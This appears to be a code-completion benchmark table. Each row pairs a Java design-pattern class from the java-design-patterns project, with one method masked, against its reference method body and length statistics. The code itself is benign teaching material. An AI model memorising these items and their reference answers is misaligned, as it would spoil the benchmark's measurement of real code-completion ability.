proj_name stringclasses 131
values | relative_path stringlengths 30 228 | class_name stringlengths 1 68 | func_name stringlengths 1 48 | masked_class stringlengths 78 9.82k | func_body stringlengths 46 9.61k | len_input int64 29 2.01k | len_output int64 14 1.94k | total int64 55 2.05k | relevant_context stringlengths 0 38.4k |
|---|---|---|---|---|---|---|---|---|---|
iluwatar_java-design-patterns | java-design-patterns/single-table-inheritance/src/main/java/com/iluwatar/entity/Vehicle.java | Vehicle | toString | class Vehicle {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private int vehicleId;
private String manufacturer;
private String model;
protected Vehicle(String manufacturer, String model) {
this.manufacturer = manufacturer;
this.model = model;
}
@Override
public String toString... |
return "Vehicle{"
+ "vehicleId="
+ vehicleId
+ ", manufacturer='"
+ manufacturer
+ '\''
+ ", model='"
+ model
+ '}';
| 112 | 59 | 171 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/singleton/src/main/java/com/iluwatar/singleton/App.java | App | main | class App {
/**
* Program entry point.
*
* @param args command line args
*/
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
} |
// eagerly initialized singleton
var ivoryTower1 = IvoryTower.getInstance();
var ivoryTower2 = IvoryTower.getInstance();
LOGGER.info("ivoryTower1={}", ivoryTower1);
LOGGER.info("ivoryTower2={}", ivoryTower2);
// lazily initialized singleton
var threadSafeIvoryTower1 = ThreadSafeLazyLoaded... | 56 | 537 | 593 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/singleton/src/main/java/com/iluwatar/singleton/ThreadSafeDoubleCheckLocking.java | ThreadSafeDoubleCheckLocking | getInstance | class ThreadSafeDoubleCheckLocking {
/**
* Singleton instance of the class, declared as volatile to ensure atomic access by multiple threads.
*/
private static volatile ThreadSafeDoubleCheckLocking instance;
/**
* private constructor to prevent client from instantiating.
*/
private ThreadSafeDouble... |
// local variable increases performance by 25 percent
// Joshua Bloch "Effective Java, Second Edition", p. 283-284
var result = instance;
// Check if singleton instance is initialized.
// If it is initialized then we can return the instance.
if (result == null) {
// It is not initialized... | 174 | 291 | 465 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/singleton/src/main/java/com/iluwatar/singleton/ThreadSafeLazyLoadedIvoryTower.java | ThreadSafeLazyLoadedIvoryTower | getInstance | class ThreadSafeLazyLoadedIvoryTower {
/**
* Singleton instance of the class, declared as volatile to ensure atomic access by multiple threads.
*/
private static volatile ThreadSafeLazyLoadedIvoryTower instance;
/**
* Private constructor to prevent instantiation from outside the class.
*/
private ... |
if (instance == null) {
instance = new ThreadSafeLazyLoadedIvoryTower();
}
return instance;
| 211 | 37 | 248 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/slob/src/main/java/com/iluwatar/slob/App.java | App | executeSerializer | class App {
public static final String CLOB = "CLOB";
private static final Logger LOGGER = LoggerFactory.getLogger(App.class);
/**
* Main entry point to program.
* <p>In the SLOB pattern, the object graph is serialized into a single large object (a BLOB or
* CLOB, for Binary Large Object or Character L... |
try (LobSerializer serializer = lobSerializer) {
Object serialized = serializer.serialize(forest);
int id = serializer.persistToDb(1, forest.getName(), serialized);
Object fromDb = serializer.loadFromDb(id, Forest.class.getSimpleName());
Forest forestFromDb = serializer.deSerialize(fromDb... | 1,012 | 156 | 1,168 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/slob/src/main/java/com/iluwatar/slob/dbservice/DatabaseService.java | DatabaseService | insert | class DatabaseService {
public static final String CREATE_BINARY_SCHEMA_DDL =
"CREATE TABLE IF NOT EXISTS FORESTS (ID NUMBER UNIQUE, NAME VARCHAR(30),FOREST VARBINARY)";
public static final String CREATE_TEXT_SCHEMA_DDL =
"CREATE TABLE IF NOT EXISTS FORESTS (ID NUMBER UNIQUE, NAME VARCHAR(30),FOREST VA... |
try (var connection = dataSource.getConnection();
var insert = connection.prepareStatement(INSERT)) {
insert.setInt(1, id);
insert.setString(2, name);
insert.setObject(3, data);
insert.execute();
}
| 1,167 | 71 | 1,238 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/slob/src/main/java/com/iluwatar/slob/lob/Animal.java | Animal | toString | class Animal implements Serializable {
private String name;
private Set<Plant> plantsEaten = new HashSet<>();
private Set<Animal> animalsEaten = new HashSet<>();
/**
* Iterates over the input nodes recursively and adds new plants to {@link Animal#plantsEaten} or
* animals to {@link Animal#animalsEaten} ... |
StringBuilder sb = new StringBuilder();
sb.append("\nAnimal Name = ").append(name);
if (!animalsEaten.isEmpty()) {
sb.append("\n\tAnimals Eaten by ").append(name).append(": ");
}
for (Animal animal : animalsEaten) {
sb.append("\n\t\t").append(animal);
}
sb.append("\n");
if (... | 734 | 189 | 923 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/slob/src/main/java/com/iluwatar/slob/lob/Forest.java | Forest | toXmlElement | class Forest implements Serializable {
private String name;
private Set<Animal> animals = new HashSet<>();
private Set<Plant> plants = new HashSet<>();
/**
* Provides the representation of Forest in XML form.
*
* @return XML Element
*/
public Element toXmlElement() throws ParserConfigurationExce... |
Document xmlDoc = getXmlDoc();
Element forestXml = xmlDoc.createElement("Forest");
forestXml.setAttribute("name", name);
Element animalsXml = xmlDoc.createElement("Animals");
for (Animal animal : animals) {
Element animalXml = animal.toXmlElement(xmlDoc);
animalsXml.appendChild(animal... | 498 | 182 | 680 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/slob/src/main/java/com/iluwatar/slob/lob/Plant.java | Plant | toXmlElement | class Plant implements Serializable {
private String name;
private String type;
/**
* Provides XML Representation of the Plant.
*
* @param xmlDoc to which the XML representation is to be written to
* @return XML Element contain the Animal representation
*/
public Element toXmlElement(Document x... |
Element root = xmlDoc.createElement(Plant.class.getSimpleName());
root.setAttribute("name", name);
root.setAttribute("type", type);
xmlDoc.appendChild(root);
return xmlDoc.getDocumentElement();
| 270 | 64 | 334 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/slob/src/main/java/com/iluwatar/slob/serializers/BlobSerializer.java | BlobSerializer | deSerialize | class BlobSerializer extends LobSerializer {
public static final String TYPE_OF_DATA_FOR_DB = "BINARY";
public BlobSerializer() throws SQLException {
super(TYPE_OF_DATA_FOR_DB);
}
/**
* Serializes the input object graph to its Binary Representation using Object Stream.
*
* @param toSerialize Obj... |
InputStream bis = (InputStream) toDeserialize;
Forest forest;
try (ObjectInput in = new ObjectInputStream(bis)) {
forest = (Forest) in.readObject();
}
return forest;
| 329 | 58 | 387 | <methods>public void close() ,public abstract com.iluwatar.slob.lob.Forest deSerialize(java.lang.Object) throws javax.xml.parsers.ParserConfigurationException, java.io.IOException, org.xml.sax.SAXException, java.lang.ClassNotFoundException,public java.lang.Object loadFromDb(int, java.lang.String) throws java.sql.SQLExc... |
iluwatar_java-design-patterns | java-design-patterns/slob/src/main/java/com/iluwatar/slob/serializers/ClobSerializer.java | ClobSerializer | elementToXmlString | class ClobSerializer extends LobSerializer {
public static final String TYPE_OF_DATA_FOR_DB = "TEXT";
public ClobSerializer() throws SQLException {
super(TYPE_OF_DATA_FOR_DB);
}
/**
* Converts the input node to its XML String Representation.
*
* @param node XML Node that is to be converted to st... |
StringWriter sw = new StringWriter();
Transformer t = TransformerFactory.newDefaultInstance().newTransformer();
t.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "no");
t.setOutputProperty(OutputKeys.INDENT, "yes");
t.transform(new DOMSource(node), new StreamResult(sw));
return sw.toString()... | 526 | 97 | 623 | <methods>public void close() ,public abstract com.iluwatar.slob.lob.Forest deSerialize(java.lang.Object) throws javax.xml.parsers.ParserConfigurationException, java.io.IOException, org.xml.sax.SAXException, java.lang.ClassNotFoundException,public java.lang.Object loadFromDb(int, java.lang.String) throws java.sql.SQLExc... |
iluwatar_java-design-patterns | java-design-patterns/slob/src/main/java/com/iluwatar/slob/serializers/LobSerializer.java | LobSerializer | close | class LobSerializer implements Serializable, Closeable {
private final transient DatabaseService databaseService;
/**
* Constructor initializes {@link LobSerializer#databaseService}.
*
* @param dataTypeDb Input provides type of Data to be stored by the Data Base Service
* @throws SQLException If any i... |
try {
databaseService.shutDownService();
} catch (SQLException e) {
throw new RuntimeException(e);
}
| 656 | 39 | 695 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/App.java | App | noSpatialPartition | class App {
static void noSpatialPartition(int numOfMovements, Map<Integer, Bubble> bubbles) {<FILL_FUNCTION_BODY>}
static void withSpatialPartition(
int height, int width, int numOfMovements, Map<Integer, Bubble> bubbles) {
//creating quadtree
var rect = new Rect(width / 2D, height / 2D, width, hei... |
//all bubbles have to be checked for collision for all bubbles
var bubblesToCheck = bubbles.values();
//will run numOfMovement times or till all bubbles have popped
while (numOfMovements > 0 && !bubbles.isEmpty()) {
bubbles.forEach((i, bubble) -> {
// bubble moves, new position gets upda... | 686 | 194 | 880 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/Bubble.java | Bubble | handleCollision | class Bubble extends Point<Bubble> {
private static final SecureRandom RANDOM = new SecureRandom();
final int radius;
Bubble(int x, int y, int id, int radius) {
super(x, y, id);
this.radius = radius;
}
void move() {
//moves by 1 unit in either direction
this.coordinateX += RANDOM.nextInt(3)... |
var toBePopped = false; //if any other bubble collides with it, made true
for (var point : toCheck) {
var otherId = point.id;
if (allBubbles.get(otherId) != null //the bubble hasn't been popped yet
&& this.id != otherId //the two bubbles are not the same
&& this.touches(allBubb... | 371 | 175 | 546 | <methods><variables>public int coordinateX,public int coordinateY,public final non-sealed int id |
iluwatar_java-design-patterns | java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/QuadTree.java | QuadTree | divide | class QuadTree {
Rect boundary;
int capacity;
boolean divided;
Map<Integer, Point> points;
QuadTree northwest;
QuadTree northeast;
QuadTree southwest;
QuadTree southeast;
QuadTree(Rect boundary, int capacity) {
this.boundary = boundary;
this.capacity = capacity;
this.divided = false;
... |
var x = this.boundary.coordinateX;
var y = this.boundary.coordinateY;
var width = this.boundary.width;
var height = this.boundary.height;
var nw = new Rect(x - width / 4, y + height / 4, width / 2, height / 2);
this.northwest = new QuadTree(nw, this.capacity);
var ne = new Rect(x + width / ... | 566 | 278 | 844 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/Rect.java | Rect | contains | class Rect {
double coordinateX;
double coordinateY;
double width;
double height;
//(x,y) - centre of rectangle
Rect(double x, double y, double width, double height) {
this.coordinateX = x;
this.coordinateY = y;
this.width = width;
this.height = height;
}
boolean contains(Point p) {<F... |
return p.coordinateX >= this.coordinateX - this.width / 2
&& p.coordinateX <= this.coordinateX + this.width / 2
&& p.coordinateY >= this.coordinateY - this.height / 2
&& p.coordinateY <= this.coordinateY + this.height / 2;
| 251 | 88 | 339 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/SpatialPartitionBubbles.java | SpatialPartitionBubbles | handleCollisionsUsingQt | class SpatialPartitionBubbles extends SpatialPartitionGeneric<Bubble> {
private final Map<Integer, Bubble> bubbles;
private final QuadTree bubblesQuadTree;
SpatialPartitionBubbles(Map<Integer, Bubble> bubbles, QuadTree bubblesQuadTree) {
this.bubbles = bubbles;
this.bubblesQuadTree = bubblesQuadTree;
... |
// finding points within area of a square drawn with centre same as
// centre of bubble and length = radius of bubble
var rect = new Rect(b.coordinateX, b.coordinateY, 2D * b.radius, 2D * b.radius);
var quadTreeQueryResult = new ArrayList<Point>();
this.bubblesQuadTree.query(rect, quadTreeQueryResu... | 136 | 127 | 263 | <methods>public non-sealed void <init>() <variables>Map<java.lang.Integer,com.iluwatar.spatialpartition.Bubble> playerPositions,com.iluwatar.spatialpartition.QuadTree quadTree |
iluwatar_java-design-patterns | java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/App.java | App | main | class App {
private static final Logger LOGGER = LoggerFactory.getLogger(App.class);
private static final String LOGGER_STRING = "[REQUEST] User: {} buy product: {}";
private static final String TEST_USER_1 = "ignite1771";
private static final String TEST_USER_2 = "abc123";
private static final String ITEM_... |
// DB seeding
LOGGER.info("Db seeding: " + "1 user: {\"ignite1771\", amount = 1000.0}, "
+ "2 products: {\"computer\": price = 800.0, \"car\": price = 20000.0}");
Db.getInstance().seedUser(TEST_USER_1, 1000.0);
Db.getInstance().seedItem(ITEM_COMPUTER, 800.0);
Db.getInstance().seedItem(ITEM_... | 178 | 482 | 660 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/ApplicationServicesImpl.java | ApplicationServicesImpl | loggedInUserPurchase | class ApplicationServicesImpl implements ApplicationServices {
private DomainServicesImpl domain = new DomainServicesImpl();
@Override
public ReceiptViewModel loggedInUserPurchase(String userName, String itemName) {<FILL_FUNCTION_BODY>}
private boolean isDownForMaintenance() {
return MaintenanceLock.getI... |
if (isDownForMaintenance()) {
return new DownForMaintenance();
}
return this.domain.purchase(userName, itemName);
| 94 | 42 | 136 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/Db.java | Account | withdraw | class Account {
private Double amount;
public Account(Double amount) {
this.amount = amount;
}
/**
* Withdraw the price of the item from the account.
*
* @param price of the item
* @return instance of MoneyTransaction
*/
public MoneyTransaction withdraw(Double price... |
if (price > amount) {
return null;
}
return new MoneyTransaction(amount, price);
| 117 | 31 | 148 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/DomainServicesImpl.java | DomainServicesImpl | purchase | class DomainServicesImpl implements DomainServices {
/**
* Domain purchase with userName and itemName, with validation for userName.
*
* @param userName of the user
* @param itemName of the item
* @return instance of ReceiptViewModel
*/
public ReceiptViewModel purchase(String userName, String ite... |
Db.Product item = Db.getInstance().findProductByItemName(itemName);
if (item == null) {
return new OutOfStock(user.getUserName(), itemName);
}
ReceiptDto receipt = user.purchase(item);
MoneyTransaction transaction = account.withdraw(receipt.getPrice());
if (transaction == null) {
r... | 301 | 132 | 433 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/InsufficientFunds.java | InsufficientFunds | show | class InsufficientFunds implements ReceiptViewModel {
private String userName;
private Double amount;
private String itemName;
/**
* Constructor of InsufficientFunds.
*
* @param userName of the user
* @param amount of the user's account
* @param itemName of the item
*/
public InsufficientF... |
LOGGER.info("Insufficient funds: " + amount + " of user: " + userName
+ " for buying item: " + itemName);
| 167 | 39 | 206 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/OutOfStock.java | OutOfStock | show | class OutOfStock implements ReceiptViewModel {
private static final Logger LOGGER = LoggerFactory.getLogger(OutOfStock.class);
private final String userName;
private final String itemName;
public OutOfStock(String userName, String itemName) {
this.userName = userName;
this.itemName = itemName;
}
... |
LOGGER.info(String.format("Out of stock: %s for user = %s to buy", itemName, userName));
| 122 | 34 | 156 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/specification/src/main/java/com/iluwatar/specification/app/App.java | App | main | class App {
/**
* Program entry point.
*/
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
private static void print(List<? extends Creature> creatures, Predicate<Creature> selector) {
creatures.stream().filter(selector).map(Objects::toString).forEach(LOGGER::info);
}
} |
// initialize creatures list
var creatures = List.of(
new Goblin(),
new Octopus(),
new Dragon(),
new Shark(),
new Troll(),
new KillerBee()
);
// so-called "hard-coded" specification
LOGGER.info("Demonstrating hard-coded specification :");
// find ... | 96 | 550 | 646 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/specification/src/main/java/com/iluwatar/specification/creature/AbstractCreature.java | AbstractCreature | toString | class AbstractCreature implements Creature {
private final String name;
private final Size size;
private final Movement movement;
private final Color color;
private final Mass mass;
/**
* Constructor.
*/
public AbstractCreature(String name, Size size, Movement movement, Color color, Mass mass) {
... |
return String.format("%s [size=%s, movement=%s, color=%s, mass=%s]",
name, size, movement, color, mass);
| 261 | 45 | 306 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/state/src/main/java/com/iluwatar/state/App.java | App | main | class App {
/**
* Program entry point.
*/
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
} |
var mammoth = new Mammoth();
mammoth.observe();
mammoth.timePasses();
mammoth.observe();
mammoth.timePasses();
mammoth.observe();
| 44 | 64 | 108 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/state/src/main/java/com/iluwatar/state/Mammoth.java | Mammoth | timePasses | class Mammoth {
private State state;
public Mammoth() {
state = new PeacefulState(this);
}
/**
* Makes time pass for the mammoth.
*/
public void timePasses() {<FILL_FUNCTION_BODY>}
private void changeStateTo(State newState) {
this.state = newState;
this.state.onEnterStat... |
if (state.getClass().equals(PeacefulState.class)) {
changeStateTo(new AngryState(this));
} else {
changeStateTo(new PeacefulState(this));
}
| 186 | 62 | 248 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/step-builder/src/main/java/com/iluwatar/stepbuilder/App.java | App | main | class App {
/**
* Program entry point.
*
* @param args command line args
*/
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
} |
var warrior = CharacterStepBuilder
.newBuilder()
.name("Amberjill")
.fighterClass("Paladin")
.withWeapon("Sword")
.noAbilities()
.build();
LOGGER.info(warrior.toString());
var mage = CharacterStepBuilder
.newBuilder()
.name("Riobard")
... | 56 | 233 | 289 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/step-builder/src/main/java/com/iluwatar/stepbuilder/Character.java | Character | toString | class Character {
private String name;
private String fighterClass;
private String wizardClass;
private String weapon;
private String spell;
private List<String> abilities;
public Character(String name) {
this.name = name;
}
@Override
public String toString() {<FILL_FUNCTION_BODY>}
} |
return new StringBuilder()
.append("This is a ")
.append(fighterClass != null ? fighterClass : wizardClass)
.append(" named ")
.append(name)
.append(" armed with a ")
.append(weapon != null ? weapon : spell != null ? spell : "with nothing")
.append(abilities ... | 97 | 124 | 221 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/step-builder/src/main/java/com/iluwatar/stepbuilder/CharacterStepBuilder.java | CharacterSteps | build | class CharacterSteps implements NameStep, ClassStep, WeaponStep, SpellStep,
AbilityStep, BuildStep {
private String name;
private String fighterClass;
private String wizardClass;
private String weapon;
private String spell;
private final List<String> abilities = new ArrayList<>();
@O... |
var character = new Character(name);
if (fighterClass != null) {
character.setFighterClass(fighterClass);
} else {
character.setWizardClass(wizardClass);
}
if (weapon != null) {
character.setWeapon(weapon);
} else {
character.setSpell(spell);
... | 427 | 136 | 563 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/strangler/src/main/java/com/iluwatar/strangler/App.java | App | main | class App {
/**
* Program entry point.
* @param args command line args
*/
public static void main(final String[] args) {<FILL_FUNCTION_BODY>}
} |
final var nums = new int[]{1, 2, 3, 4, 5};
//Before migration
final var oldSystem = new OldArithmetic(new OldSource());
oldSystem.sum(nums);
oldSystem.mul(nums);
//In process of migration
final var halfSystem = new HalfArithmetic(new HalfSource(), new OldSource());
halfSystem.sum(nums);... | 53 | 183 | 236 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/strangler/src/main/java/com/iluwatar/strangler/HalfSource.java | HalfSource | ifNonZero | class HalfSource {
private static final String VERSION = "1.5";
/**
* Implement accumulate sum with new technique.
* Replace old one in {@link OldSource}
*/
public int accumulateSum(int... nums) {
LOGGER.info("Source module {}", VERSION);
return Arrays.stream(nums).reduce(0, Integer::sum);
}
... |
LOGGER.info("Source module {}", VERSION);
return Arrays.stream(nums).allMatch(num -> num != 0);
| 156 | 40 | 196 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/strangler/src/main/java/com/iluwatar/strangler/NewSource.java | NewSource | accumulateMul | class NewSource {
private static final String VERSION = "2.0";
public static final String SOURCE_MODULE = "Source module {}";
public int accumulateSum(int... nums) {
LOGGER.info(SOURCE_MODULE, VERSION);
return Arrays.stream(nums).reduce(0, Integer::sum);
}
/**
* Implement accumulate multiply with... |
LOGGER.info(SOURCE_MODULE, VERSION);
return Arrays.stream(nums).reduce(1, (a, b) -> a * b);
| 209 | 46 | 255 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/strangler/src/main/java/com/iluwatar/strangler/OldSource.java | OldSource | accumulateMul | class OldSource {
private static final String VERSION = "1.0";
/**
* Implement accumulate sum with old technique.
*/
public int accumulateSum(int... nums) {
LOGGER.info("Source module {}", VERSION);
var sum = 0;
for (final var num : nums) {
sum += num;
}
return sum;
}
/**
... |
LOGGER.info("Source module {}", VERSION);
var sum = 1;
for (final var num : nums) {
sum *= num;
}
return sum;
| 153 | 52 | 205 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/strategy/src/main/java/com/iluwatar/strategy/App.java | App | main | class App {
private static final String RED_DRAGON_EMERGES = "Red dragon emerges.";
private static final String GREEN_DRAGON_SPOTTED = "Green dragon spotted ahead!";
private static final String BLACK_DRAGON_LANDS = "Black dragon lands before you.";
/**
* Program entry point.
*
* @param args command l... |
// GoF Strategy pattern
LOGGER.info(GREEN_DRAGON_SPOTTED);
var dragonSlayer = new DragonSlayer(new MeleeStrategy());
dragonSlayer.goToBattle();
LOGGER.info(RED_DRAGON_EMERGES);
dragonSlayer.changeStrategy(new ProjectileStrategy());
dragonSlayer.goToBattle();
LOGGER.info(BLACK_DRAGON_LAN... | 135 | 536 | 671 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/strategy/src/main/java/com/iluwatar/strategy/ProjectileStrategy.java | ProjectileStrategy | execute | class ProjectileStrategy implements DragonSlayingStrategy {
@Override
public void execute() {<FILL_FUNCTION_BODY>}
} |
LOGGER.info("You shoot the dragon with the magical crossbow and it falls dead on the ground!");
| 42 | 31 | 73 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/strategy/src/main/java/com/iluwatar/strategy/SpellStrategy.java | SpellStrategy | execute | class SpellStrategy implements DragonSlayingStrategy {
@Override
public void execute() {<FILL_FUNCTION_BODY>}
} |
LOGGER.info("You cast the spell of disintegration and the dragon vaporizes in a pile of dust!");
| 44 | 33 | 77 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/subclass-sandbox/src/main/java/com/iluwatar/subclasssandbox/App.java | App | main | class App {
/**
* Entry point of the main program.
* @param args Program runtime arguments.
*/
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
} |
LOGGER.info("Use superpower: sky launch");
var skyLaunch = new SkyLaunch();
skyLaunch.activate();
LOGGER.info("Use superpower: ground dive");
var groundDive = new GroundDive();
groundDive.activate();
| 58 | 73 | 131 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/subclass-sandbox/src/main/java/com/iluwatar/subclasssandbox/Superpower.java | Superpower | move | class Superpower {
protected Logger logger;
/**
* Subclass of superpower should implement this sandbox method by calling the
* methods provided in this super class.
*/
protected abstract void activate();
/**
* Move to (x, y, z).
* @param x X coordinate.
* @param y Y coordinate.
* @param ... |
logger.info("Move to ( {}, {}, {} )", x, y, z);
| 285 | 23 | 308 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/table-module/src/main/java/com/iluwatar/tablemodule/App.java | App | createSchema | class App {
private static final String DB_URL = "jdbc:h2:mem:testdb;DB_CLOSE_DELAY=-1";
/**
* Private constructor.
*/
private App() {
}
/**
* Program entry point.
*
* @param args command line args.
* @throws SQLException if any error occurs.
*/
public static void main(final String[]... |
try (var connection = dataSource.getConnection();
var statement = connection.createStatement()) {
statement.execute(UserTableModule.CREATE_SCHEMA_SQL);
}
| 479 | 48 | 527 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/table-module/src/main/java/com/iluwatar/tablemodule/UserTableModule.java | UserTableModule | login | class UserTableModule {
/**
* Public element for creating schema.
*/
public static final String CREATE_SCHEMA_SQL =
"CREATE TABLE IF NOT EXISTS USERS (ID NUMBER, USERNAME VARCHAR(30) "
+ "UNIQUE,PASSWORD VARCHAR(30))";
/**
* Public element for deleting schema.
*/
public s... |
var sql = "select count(*) from USERS where username=? and password=?";
ResultSet resultSet = null;
try (var connection = dataSource.getConnection();
var preparedStatement =
connection.prepareStatement(sql)
) {
var result = 0;
preparedStatement.setString(1, usernam... | 463 | 207 | 670 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/template-method/src/main/java/com/iluwatar/templatemethod/App.java | App | main | class App {
/**
* Program entry point.
*
* @param args command line args
*/
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
} |
var thief = new HalflingThief(new HitAndRunMethod());
thief.steal();
thief.changeMethod(new SubtleMethod());
thief.steal();
| 56 | 50 | 106 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/template-method/src/main/java/com/iluwatar/templatemethod/StealingMethod.java | StealingMethod | steal | class StealingMethod {
protected abstract String pickTarget();
protected abstract void confuseTarget(String target);
protected abstract void stealTheItem(String target);
/**
* Steal.
*/
public final void steal() {<FILL_FUNCTION_BODY>}
} |
var target = pickTarget();
LOGGER.info("The target has been chosen as {}.", target);
confuseTarget(target);
stealTheItem(target);
| 88 | 49 | 137 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/template-method/src/main/java/com/iluwatar/templatemethod/SubtleMethod.java | SubtleMethod | stealTheItem | class SubtleMethod extends StealingMethod {
@Override
protected String pickTarget() {
return "shop keeper";
}
@Override
protected void confuseTarget(String target) {
LOGGER.info("Approach the {} with tears running and hug him!", target);
}
@Override
protected void stealTheItem(String target) ... |
LOGGER.info("While in close contact grab the {}'s wallet.", target);
| 107 | 23 | 130 | <methods>public non-sealed void <init>() ,public final void steal() <variables> |
iluwatar_java-design-patterns | java-design-patterns/thread-local-storage/src/main/java/com/iluwatar/AbstractThreadLocalExample.java | AbstractThreadLocalExample | run | class AbstractThreadLocalExample implements Runnable {
private static final SecureRandom RND = new SecureRandom();
private static final Integer RANDOM_THREAD_PARK_START = 1_000_000_000;
private static final Integer RANDOM_THREAD_PARK_END = 2_000_000_000;
@Override
public void run() {<FILL_FUNCTION_BODY>}
... |
long nanosToPark = RND.nextInt(RANDOM_THREAD_PARK_START, RANDOM_THREAD_PARK_END);
LockSupport.parkNanos(nanosToPark);
System.out.println(getThreadName() + ", before value changing: " + getter().get());
setter().accept(RND.nextInt());
| 216 | 98 | 314 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/thread-pool/src/main/java/com/iluwatar/threadpool/App.java | App | main | class App {
/**
* Program entry point.
*
* @param args command line args
*/
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
} |
LOGGER.info("Program started");
// Create a list of tasks to be executed
var tasks = List.of(
new PotatoPeelingTask(3),
new PotatoPeelingTask(6),
new CoffeeMakingTask(2),
new CoffeeMakingTask(6),
new PotatoPeelingTask(4),
new CoffeeMakingTask(2),
ne... | 56 | 383 | 439 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/thread-pool/src/main/java/com/iluwatar/threadpool/Worker.java | Worker | run | class Worker implements Runnable {
private final Task task;
public Worker(final Task task) {
this.task = task;
}
@Override
public void run() {<FILL_FUNCTION_BODY>}
} |
LOGGER.info("{} processing {}", Thread.currentThread().getName(), task.toString());
try {
Thread.sleep(task.getTimeMs());
} catch (InterruptedException e) {
e.printStackTrace();
}
| 66 | 63 | 129 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/throttling/src/main/java/com/iluwatar/throttling/App.java | App | makeServiceCalls | class App {
/**
* Application entry point.
*
* @param args main arguments
*/
public static void main(String[] args) {
var callsCount = new CallsCount();
var human = new BarCustomer("young human", 2, callsCount);
var dwarf = new BarCustomer("dwarf soldier", 4, callsCount);
var executorS... |
var timer = new ThrottleTimerImpl(1000, callsCount);
var service = new Bartender(timer, callsCount);
// Sleep is introduced to keep the output in check and easy to view and analyze the results.
IntStream.range(0, 50).forEach(i -> {
service.orderDrink(barCustomer);
try {
Thread.sleep... | 284 | 136 | 420 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/throttling/src/main/java/com/iluwatar/throttling/Bartender.java | Bartender | orderDrink | class Bartender {
private static final Logger LOGGER = LoggerFactory.getLogger(Bartender.class);
private final CallsCount callsCount;
public Bartender(Throttler timer, CallsCount callsCount) {
this.callsCount = callsCount;
timer.start();
}
/**
* Orders a drink from the bartender.
* @return cu... |
var tenantName = barCustomer.getName();
var count = callsCount.getCount(tenantName);
if (count >= barCustomer.getAllowedCallsPerSecond()) {
LOGGER.error("I'm sorry {}, you've had enough for today!", tenantName);
return -1;
}
callsCount.incrementCount(tenantName);
LOGGER.debug("Servi... | 173 | 128 | 301 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/throttling/src/main/java/com/iluwatar/throttling/timer/ThrottleTimerImpl.java | ThrottleTimerImpl | start | class ThrottleTimerImpl implements Throttler {
private final int throttlePeriod;
private final CallsCount callsCount;
public ThrottleTimerImpl(int throttlePeriod, CallsCount callsCount) {
this.throttlePeriod = throttlePeriod;
this.callsCount = callsCount;
}
/**
* A timer is initiated with this m... |
new Timer(true).schedule(new TimerTask() {
@Override
public void run() {
callsCount.reset();
}
}, 0, throttlePeriod);
| 146 | 52 | 198 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/tolerant-reader/src/main/java/com/iluwatar/tolerantreader/App.java | App | main | class App {
/**
* Program entry point.
*/
public static void main(String[] args) throws IOException, ClassNotFoundException {<FILL_FUNCTION_BODY>}
} |
// Write V1
var fishV1 = new RainbowFish("Zed", 10, 11, 12);
